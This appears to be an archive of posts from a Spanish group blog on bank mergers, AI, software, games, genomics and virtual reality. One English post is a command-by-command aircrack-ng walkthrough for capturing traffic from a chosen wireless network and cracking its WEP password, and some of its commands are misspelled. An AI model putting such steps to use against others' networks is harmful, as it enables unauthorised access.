Rocastraja

Yo es que ya me estoy haciendo un lío con esto de la fusión de las cajas.

Hay -por el momento- cuatro tipos de fusión, a saber: fusión-fusión (la de toda la vida), absorción rara (lo que le va a pasar a CCM), SIP (Sistema Institucional de Protección) y GCC (Grupo Contractual Consolidable). Esto ya es un lío considerable.

Las hay que ya han aprobado la fusión, otras que se lo están pensando (acuciadas por el Banco de España) y otras que en los últimos meses han salido en más de una quiniela.

Si a eso sumamos que algunas cajas aparecen en los periódicos a veces en siglas y a veces con el nombre entero (pojemplo: CAI o Caja de Ahorros de la Inmaculada) ya tenemos el lío completo.

Para hacerme una idea, he rebuscado en internet (lo cual casi es peor, porque salen noticias antiguas y nuevas y no hay quien se aclare) y he perpetrado esta lista. Más o menos por orden de las fusiones ya seguras (+) a las menos seguras (?) pasando por SIp's y GCC's (.), pero tampoco lo toméis muy al pie de la letra:

Sabadell+Terrassa+Manlleu+Girona
Catalunya+Tarragona+Manresa
Duero+España
Unicaja+Jaén+Cajasur
Laietana+Penedes
Cajastur+CCM

Cajasol.Guadalajara?Granada
Navarra.Canarias
CAI.InsularCanarias.Rioja

Extremadura?Badajoz
Bancaja?CAM?Ontynent
Caixanova?Galicia
BBK?Kutxa?Vital

Quedan fuera algunas pequeñas, que las están peinando, y las mayores, que ya se peinan ellas solitas. Para verlo mejor pensé agruparlas en un gráfico, aprovechando uno famoso de JPMorgan que salió hace tiempo y que relaciona la morosidad (peor cuanto más grande) con el Core Tier 1 que mide la solvencia (mejor cuanto más grande) de las mayores entidades por activos de España (Bancos y Cajas)

Y aquí viene la gracia: sólo dos de las fusiones se ven en el gráfico (Galicia+Caixanova y Bancaja+CAM) y cuyos componentes tienen niveles de activos y relación morosidad/capital muy similares.

Es decir, que en general, estas fusiones son más bien agregaciones, a las mayores cajas, de las cajas más pequeñas. Podéis ver en distintos colorines cómo sólo sale en la foto una de cada grupo: Catalunya, Caja España, Cajasol, ... Las solitarias las he dejado en el color azul original del gráfico y los bancos los he puesto en gris.

Hay algunos grupos que no aparecen; son los formados por cajas más pequeñas, donde sí parece que les va a convenir juntarse para ser más grandes y competitivos (que debería ser el objetivo real) como va a pasar con Sabadel, Terrassa, Manlleu y Girona.

Como el gráfico es incompleto, resulta algo falso extraer conclusiones. Pojemplo: Caja España (que sí aparece) y Caja Duero (que no aparece) están realmente bastante parejas en nivel de activos (25.000 y 21.000 respectivamente). Ni idea del ratio morosidad/capital de la segunda. Así que he buscado un ranking de activos por ahí, y aquí os lo repinto de nuevo (no me he molestado en poner los mismos colorines, que ya me duelen los ojos de tanta fusión):

Etiquetas: banca, caja, crisis, morosidad

... o estamos cómo al principio.

Según las dos vertientes actuales sobre el desarrollo cerebral computacional, y no por ello enfrentadas, si no todo lo contrario, desarrolladas en campos, incluso científicos distintos, estamos a un paso de la singularidad .... o no, y es que se descubre día a día, que tal vez, y digo, tal vez, no sólo sea el cerebro el responsable de lo que llamamos actualmente el pensamiento, la razón, el consciente ... ya bien sea humano o de cualquier otra especie.

Mientras tanto, a la espera de confirmar nuestro fracaso, una de ellas va intentar dar el paso definitivo, y está se la dedico a Pirilon, .....

Tras emular el funcionamiento de un córtex de gato, el siguiente paso a lograr cómo bien os podéis imaginar es .......

EL HUMANO

.... pero cómo indica uno de los comentarios, sin sentidos, sin sensaciones, sin interfaces, es eso realmente ¿una mente, un cerebro, o una calculadora muy grande?

Etiquetas: inteligencia artificial

Google Opt Out Feature Lets Users Protect Privacy By Moving To Remote Village

Google ha añadido un servicio llamado "Google Opt Out" que se puede usar para que nos borren de sus bases de datos y podamos mantener nuestra privacidad.

PcBolsa es un software gratuito bastante majo para estar al día de la bolsa. Antes se llamaba "La Ventana de Expansión", pero la última vez que he ido a www.expansion.es para descargarlo me han mandado a otra página, a www.pcbolsa.com. Aquí tienen una versión en la que funciona casi todo, ver las cotizaciones, graficos e índices varios, pero no deja registrar un usuario. La opción de registrarse es útil para poder tener una cartera virtual y tener apuntadas las empresas que seguimos de una forma detallada, incluso haciendo simulaciones de compra y venta, para ir cogiendo confianza en nuestro conocimiento sobre bolsa.
Les envié un correo preguntando por lo del error de registro y me contestaron que están a punto de sacar una nueva versión con un monton de mejoras, y mientras tanto no registran a nadie. Así que habrá que esperar.
Mientras tanto al menos se puede siguir la evolución de las cotizaciones más o menos.
Y si esa no nos vale, se puede contrastar la información con la que tienen en www.bolsamania.com, que aquí si que nos dejan registrarnos gratuitamente y tener varias carteras virtuales. Solo que la aplicación es en web, y bueno, a mí me gusta en desktop, con los avisos en el system tray.

Saludos.

Mi hermanito me pasó una invitación de google wave, y me registré. Con mi cuenta me vinieron 8 invitaciones que he repartido entre los sospechosos habituales, pero aún me queda alguna. Y seguro que a Casti, Roberto y Raúl también. Así que quien quiera una, que la pida.

Por cierto, que os parece la cosa? A mí me ha defraudado un poco. Complicado, lento y poco pulido, aunque claro, es una beta. Además, me da la impresión de que es demasiado complejo como para arreglar los bugs y limpiarlo rápidamente, que es lo que necesitan hacer.

Aunque sigo pensando que tiene mogollón de potencial.

En cualquier caso, yo no me moveré hasta que no pueda tener mi propio servidor con mis waves y tal. Sigo pensando que es una locura confiar absolútamente toda tu información a una sóla entidad. Tienen nuestra información personal, qué nos gusta, que leemos, dónde vivimos, de quién somos amigos (habeis pensado en el valor comercial de la red de contactos de nuestras libretas de direcciones de google?), muchos de nosotros usamos gmail o google docs para cosas de trabajo, con lo que saben en qué trabajamos y podrían seguir nuestros proyectos al milímetro.

No sé quien de los dos se ha vuelto loco, si yo o mi Excel.
Supongo y espero que sea mi Excel!
Por favor, probad esto si teneis excel XP:

• Poned "-1" en un celda (por ejemplo A1)
• Poned "=A1+0,1" en la celda de debajo (A2) (Como es normal, quedará -0,9)
• Arrastrad la fórmula hacia abajo...

¿Qué coño es eso que aparece en la A11? espero que no sea un huevo de pascua de esos que pone Microsoft...
Os pongo un "cacho pantalla" para que sepais que por lo menos no son mis ojos los que me engañan...

Esto os interesa a todos los que buceais. Es un sistema para poder usar el móvil bajo el agua. En esos largos y aburridos ratos en que os descomprimis, podeis hablar entre vosotros, con vuestra novia o madre, o pedir un pizza... al telepizza submarino más cercano.
Saludos!!

http://www.oceanreefgroup.com/products/comms/products_alphauwcp.html

Soy sólo yo o es verdad que la cosa está cambiando con esto de los juegos?

Acabo de leer la reseña de "Call of Duty, modern warfare II" en el País, otro juego de soldados en primera persona. Lo que me llama la atención es el cambio de tono en la reseña comparado con lo que solíamos leer en las revistas de juegos.

Lo primero de todo se vé que el tío que la ha hecho no ha visto el juego, pero además da la impresión de que no ha jugado a un juego de primera persona en su vida, y de que lo que está haciendo es regurgitar la nota de prensa que le han pasado. Pero lo que más me llama la atención es la frase final:

"Se disfruta cada segundo de la campaña.. Tiene un story telling impecable y una producción elevadísima; y su modo online proporciona horas de juego suficientes para esperar con tranquilidad otra entrega."

Esto sólo se oía para las películas cuando quién escribía la crítica era el típico crítico de cine comprado (casi todos, si no, no trabajan). Es posible que quién haya hecho esta crítica sea el mismo que hace las del cine, porque el estilo es inconfundible.

Mirando en la wikipedia (que está a disposición de todos, incluido el crítico ese) se puede leer:

"Some reviews[84][85] and user-submitted aggregate scores of the PC version have been extremely negative. Metacritic,[86] IGN.com,[87] and Amazon.com[88] user reviews rate the game at disparagingly low scores. Players criticize the lack of dedicated servers (and therefore server-side modifications and custom maps), latency issues on a listen server-only IWNET, lack of console commands, lack of support for matches larger than 18 players, and inability to vote to kick and ban cheating players immediately."

Vamos, que el juego en red es una mierda y tiene una de las peores valoraciones posibles.

Bueno, pues demostrado que es un "crítico" comprado como los del cine, viene la reflexión: Ahora la industria de los juegos está generando ya más dinero que la del cine, con diferencia. Todo ese dinero se utilizará para manipular los medios de comunicación e intentar crear una "cultura" popular alrededor de los juegos, igual que se ha creado alrededor del cine. Pronto veremos diseñadores de juegos "de culto", juegos "de autor" de bajo presupuesto, festivales de juegos subvencionados por el estado, estrenos de juegos con alfombra roja... en fín, toda la parafernalia que ya conocemos. La forma más segura de ganar dinero con películas y juegos de alto presupuesto es hacer ruido durante el periodo en el que el juego se está haciendo, antes del estreno. Es fácil controlar los medios de comunicación durante un par de semanas o tres, y casi todo el dinero se gana durante el primer mes de ventas. Con lo que si tu aparato de propaganda es suficientemente bueno, da igual que el juego sea una mierda. Para cuando la gente se entera por el boca a boca, los blogs y la crítica no vendida (no sé si de eso hay), ya se ha recuperado la inversión.

Los juegos se convertirán en parte de la identidad cultural de la generación de los adolescentes de ahora, que se han criado con las consolas. Y lo peor de todo, habrá un personaje, el cultureta de los juegos, que te dirá aquello de: "Pues los clásicos Modern Warfare tenían un story telling impecable y una producción elevadísima que los juegos de hoy, tan comerciales, nunca tendrán. Además, el juego online era perfecto". :-)

El subnormal del Ramoncín ha hecho que youtube cierre el canal de vídeos de El Jueves.

El Jueves tenía colgados un par de vídeos satíricos en los cuales se reían del Mamoncín, y esto unido a una denuncia de la Fox por colgar un vídeo (doblado con diálogos de coña) de los simpsons, ha sido suficiente para que les cierren el canal y quiten todos sus vídeos.

Aquí en El País lo cuentan.

Los videos del Jueves (incluidos los censurados) se pueden ver en Dalymotion:

Y no se os olvide leer en www.eljueves.es dónde dan la noticia y hacen algunas reflexiones sobre Youtube muy a tener en cuenta.

Ala, id haciendo un backup que ahora nos cerrarán el nuestro por el título del post.

First we need to install the necessary Ubuntu packages. This can be done with the Synaptic Package Manager (search for aircrack-ng and kismet) or using the Terminal.
$sudo apt-get install aircrack-ng
$sudo apt-get install kismet

Let's start by testing the wireless card:
$sudo airmon-ng stop ath0
$sudo airmon-ng start wifi0

Let's see all available wireless networks. Let's choose a wireless network with a good signal quality and with clients connected to it. Keep in mind the channel id (i.e. 6 or 11) and the router Mac Address.
$sudo airodump-ng mon0

Next step is to intercept data/packages we will need a bunch of IV's logged so we can decrypt the password later. Usually 250k or 500k are enough, sometimes the aircrack after failing deciphering the password will ask for 5.000 to 10.000 IV's. Let's start logging using the following command (6 stands for channel id and 00:MA:CA:DD:RE:SS for the router mac address.
sudo airdump-ng -c 6 --bssid 00:MA:CA:DD:RE:SS -w dump mon0

The final step, run this command to decipher the password.
$sudo aircrack-ng -a 1 -f 10 dump*.cap
The result shoud be:
KEY FOUND! **:**:**:**:** ASCII: ******
Decrypted correctly: 100%
If you get:
Failed. Next try with 5.000 IV's or .... Failed. Next try with 10.000
Then just collect more packages with $sudo airdump-ng -c 6 --bssid 00:MA:CA:DD:RE:SS -w dump mon0

De estas dos cosas, la más fácil de decir es el coste. Ahora mismo, Complete Genomics puede secuenciar un genoma por menos de 5 000 dólares. Hace dos o tres años el coste era unas 10 veces más, de unos 50 000. Y hace diez años secuenciar un sólo genoma era un proyecto con un coste astronómico que mantuvo ocupada a una buena parte de la comunidad científica durante cinco años.

Es un poco como si después del primer viaje a la Luna, que requirió un proyecto de una magnitud comparable al del genoma humano, el coste de ir a la luna se hubiese reducido en un factor de 10 cada tres años y ahora se puediese ir a la Luna como quien va de fin de semana al pueblo.

Lo que está claro es que lo que pagamos por secuenciar un genoma va a seguir disminuyendo en el tiempo, con lo que en algún punto, para una cantidad suficientemente pequeña de dinero, tendremos que hacernos la pregunta. Quiero secuenciar el mio?

Por supuesto, la respuesta dependerá de para qué sirve tener el genoma de uno secuenciado. Esto es lo que sería el valor del genoma. Este valor aumenta con el tiempo a medida que vamos adquiriendo conocimentos sobre el significado y las consecuencias de los genes y sus mutaciones. Pronto esta información será muy útil, puesto que los estudios de medicamentos nuevos empiezan a distinguir la eficacia de estos dependiendo de la genética del paciente.

Por ejemplo, un medicamento para el colesterol puede ser muy útil para un paciente que tenga una mutación determinada y totálmente inútil para quien no la tenga. También sabiendo nuestro genoma podríamos saber si tenemos una de las (raras) mutaciones que protejen del Sida, o una de las (tambien raras) que protegen de problemas cardiovasculares. O incluso ambas, y darnos un homenaje :-)

Las curvas del coste y del valor del genoma se van a cruzar muy pronto, y de aquí a pocos añitos (supongo que unos cinco o así) muchos de nosotros tendremos nuestro genoma secuenciado. Es fácil, mandas un bastoncillo con un poco de saliva y te mandan un CD o una llave USB con tu genoma, que ocupa más o menos un Giga.

Yo supongo que en el momento que el coste baje de 1000€, se lo harán rutinariamente los pacientes que tengan problemas graves, como los que necesitan tratamientos para el cáncer que funcionen para determinadas mutaciones y fallen para otras (de esos ya hay varios). En el momento en que baje de 100€, se lo hará la peña porque sí. Al fín y al cabo sólo tienes que hacerlo una vez y para entonces sabremos mucho más sobre las variaciones en el genoma y nos será útil conocer el nuestro.

Lo que es divertido es imaginar la situación cuándo el coste baje a 10€, a 1€ o incluso 0,1€

Ahí habrá aplicaciones difíciles de imaginar ahora mismo. La película Gattaca está pensada en un mundo en el cuál el coste de secuenciar el genoma es menor que 1€

Lo que yo veo claro es que para cuando sea tan barato secuenciar nuestro genoma ya no se nos podrá identificar por él :-) Junto con la capacidad de secuenciarlo, también habrá avanzado tanto la terapia genética que ya no tendrémos un genoma único. Lo más probable es que hayamos cambiado los genes de algunos de nuestros tejidos para mejorarlos o curarlos, con lo que no todas nuestras células tendrán el mismo genoma. Esto ya es así para los niños a los que la terapia genética ha salvado de una muerte segura. Les han extraido células madre, las han modificado genéticamente y las han vuelto a reinsertar. Ahora estos niños tienen un genoma diferente en unos tejidos que en otros.

Esto, por supuesto trae un problema filosófico, y es que hasta ahora nos habíamos agarrado a que nuestros genes eran nuestra identidad y nos hacían únicos. Que pasa cuando esto ya no es así? en particular, como la ingeniería es lo que és, que pasará cuando nuestro genoma, nuestro metabolismo, y en general todos los aspectos de nuestra biología converjan a los valores "óptimos"? seremos todos el mismo? tendremos todos la misma cara y el mismo cuerpo y pensaremos todos lo mismo?
O tal vez la gente empieze a utilizar su cuerpo como usa su ropa y lo modifique para expresar su personalidad y su individualidad?

Supongo que serán las dos cosas. Por fuera los cuerpos cada vez serán más distintos unos de otros por cuestiones de vanidad y moda, pero por dentro, cada vez serán más parecidos, porque todos nos apuntaremos a las modificaciones que mejor funcionan. Iremos perdiendo nuestra individualidad poco a poco.

Dónde nos lleva esto? ni repajolera idea. Por algo lo llaman la Singularidad.

Yo Lo Pensé Primero: veo en FayerWayer esta Cyberwalk: Caminadora omnidireccional para mundos virtuales.



No hará años ni nada que a Pirilón se le ocurrió la idea de una nave industrial grande (y acolchada) para caminar por ella inmerso en una realidad virtual del tipo que sea (juegos, visitas turísticas, etc.). El problema era que habría que poner algún tipo de seguridad para evitar que los clientes se dieran de bruces con las paredes o entre ellos.

Quiero recordar que la idea de Pirilón era, precisamente, evitar estos artilugios estático-dinámicos (toma palabro que me acabo de inventar) porque los encontraba poco naturales y, además, complejos. Pero a mí siempre me pareció más divertido y, en cualquier caso, apto para ciertos usos en los que la nave no valdría.

Desde entonces se me ocurrieron muchos mecanismos, parecidos al del video, para hacer una "cinta de correr" múltiple en ambos sentidos, lo que simplificaría el asunto. Alguno exactamente como el del video y otros más complicados, como una especie de tejido de cadenas (una hurdimbre, para ser exactos), que tendría la ventaja de que serían estáticas (es decir, no habría que trasladar el mecanismo de cada cadena como en el video) pero el inconveniente de que habría que crear un sub-tejido en diagonal, que le diera consistencia y evitara el rozamiento entre las cadenas.

A raiz del problema de éste último (donde lo difícil es hacer "salir" a cada cadena hacia la superficie de tracción en cada cruce de la hurdimbre), se me ocurrió otro que sería, quizá, más sencillo, pero en el que seguro que te pegas un guarrazo de aúpa si no se le pone un buen control de tracción: minúsculos rodillos en ambas direcciones (o mejor bolas, como la de los ratones antiguos).

Aún me pregunto si el control de tracción sería tan difícil de hacer (para que no resbales sobre los rodillos o bolas y te dé la impresión de que eres tú el que avanzas al caminar sobre ellos, cada uno debe tener control de la presión que realizas sobre él y la fuerza adecuada para aplicarlo, y el problema es que al andar se aplica mucha fuerza en un punto de presión muy pequeño)

Actualizado: en la entrada de la wikipedia que señala FayerWayer, se ve una cosa que se llama Cybercarpet que claramente está hecha con bolitas. Lo que pasa es que esta tiene un grado de libertad lineal y otro rotacional, porque por debajo lo que hay es una cinta que puede rotar y que es la que impulsa las bolitas:

Etiquetas: cinta andadora, realidad virtual, YLPP